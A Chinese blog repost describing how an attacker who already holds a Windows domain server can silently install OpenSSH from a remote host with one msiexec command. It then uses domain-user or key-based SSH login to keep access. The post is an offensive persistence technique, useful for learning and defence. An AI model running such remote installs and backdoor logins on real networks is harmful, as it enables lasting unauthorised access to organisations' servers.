首页 > 其他分享 >巧用OpenSSH进行域内权限维持

巧用OpenSSH进行域内权限维持

时间:2023-05-24 09:45:31浏览次数:41  
标签:登录 Windows OpenSSH ssh 服务器 权限 巧用

最近在Windows服务器上安装OpenSSH,意外发现了一个很有意思的技巧,可用来做域内权限维持,废话不多说,直接上步骤。

01、利用方式

(1)在已经获得权限的Windows服务器上,使用msiexec安装openssh,一行命令静默安装,不需要任何设置。

msiexec /i "http://x.x.x.x/OpenSSH-Win64.msi"

(2)在默认安装的情况下,配置文件:C:\ProgramData\ssh\sshd_config,默认的配置信息只有两行,如果不熟悉OpenSSH很难从配置文件中获取有效信息。

Match Group administrators
    AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys

当然,它默认是允许密码登录,而在域环境中,其实是可以使用kerberos完成ssh认证和登录,这一点往往是被管理员忽略的,而恰恰是可以被我们所利用的地方。

(3)这个时候,我们可以使用任意一个域用户登录认证,即可获取服务器shell权限。

这个点就很有意思了,试想一下,一台域内的服务器安装了openssh,如果不进行用户登录控制,任意一个域内用户可通过密码认证登录ssh获取shell权限。

02、可能存在的利用场景

(1)假设你拿到了一个域内普通用户的权限,而恰巧探测到某台Windows域内服务器安装OpenSSH,你可以考虑尝试用域用户登录ssh,可能会有意外的惊喜。

(2)假设你已经获取了域内某台服务器的权限,你可以考虑使用OpenSSH结合私钥免密码登录的方式完成域内管理员权限维持,不也是一种权限维持的好办法嘛。

标签:登录,Windows,OpenSSH,ssh,服务器,权限,巧用
From: https://www.cnblogs.com/xiaozi/p/17427119.html

相关文章

  • 1、权限管理
    简易版import( "log" "github.com/casbin/casbin/v2" "github.com/casbin/casbin/v2/model" gormadapter"github.com/casbin/gorm-adapter/v3" _"github.com/go-sql-driver/mysql")//初始化适配器funccasbinInit()......
  • Linux文件权限
    Linux的安全性Linux安全系统的核心是用户账户。每个能访问Linux系统的用户都会被分配一个唯一的用户账户。用户权限是通过创建用户时分配的用户ID(userID,UID)来跟踪的。用户在登录系统时是使用登录名(loginname)来代替UID登录的登录名是用户用来登录系统的最长8字符的字符串(字......
  • drf——自定义权限
    第一步:创建自定义权限首先,需要创建自定义权限类以实现企业黑名单功能。在你的permissions.py文件中创建一个新的类,例如:fromrest_frameworkimportpermissionsclassBlacklistPermission(permissions.BasePermission):message='Youraccounthasbeenblacklisted.'......
  • 若依框架当参数为Map集合时数据权限的设置
    1、controller接口参数类型@PreAuthorize("@ss.hasPermi('manual:staff:list')")@GetMapping("/list")publicTableDataInfolist(@RequestParamMap<String,Object>map){map.put("params",newParmStaffCostManu......
  • Window权限维持(十):Netsh Helper DLL
    Netsh是Windows实用程序,管理员可以使用它来执行与系统的网络配置有关的任务,并在基于主机的Windows防火墙上进行修改。可以通过使用DLL文件来扩展Netsh功能。此功能使红队可以使用此工具来加载任意DLL,以实现代码执行并因此实现持久性。但是,此技术的实现需要本地管理员级别的特权。可......
  • Window权限维持(三):新服务
    如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提升。创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术。然而,在红队的行动中,针对那些在威胁检测方面还不成熟的公司,可以用来制造进一步的干扰,企业应建立SOC能力,以识别在其恶......
  • 基于springboot的宿舍管理系统实现宿管、后勤权限功能
    项目描述系统中的用户分为三类,分别为学生、宿管、后勤。这三类用户拥有不同的操作权限。系统中用到的技术包括Axios,Echarts,POI。特色功能有人性化的宿舍分配,可视化的账单管理、房间管理、记账管理,Excel文件上传后数据导入数据库等等。运行环境idea+mysql5.7+jdk1.8+maven3......
  • 5.CA证书和openssh免密认证
    总结ca管理相关的工具,根据使用场景总结示例一.私有CA实现证书颁发1.创建私有CA2.创建CA所需的文件3.生成CA私钥4.生成CA自签名证书#生成证书索引数据库文件touch/etc/pki/CA/index.txt#指定第一个颁发证书的需要(16进制)echo01>/etc/pki/CA/serial#生成CA私钥cd/etc/pki/CA(um......
  • linux4位权限分别代表什么意思(转载)
    接触linux一段时间了,有个权限问题让我一直郁闷。网上也没找到(估计是关键字不对),就是这个0777,最前面的0是什么意思。最近看到一本书(Linux与unixshell编程指南),终于找到答案了。 先说一下777什么意思吧,linux下文件权限分为所属用户权限、所属组权限和其他权限。每一个又分为r(读)w(写)x(可......
  • 配置k8s的一个serviceaccount具有管理员权限并获取他的token
    创建sa账户/授定管理员角色权限cat>sa.yaml<<eofapiVersion:v1kind:ServiceAccountmetadata:name:kubepi-usernamespace:kube-systemeofcat>rolebe.yaml<<eofapiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:na......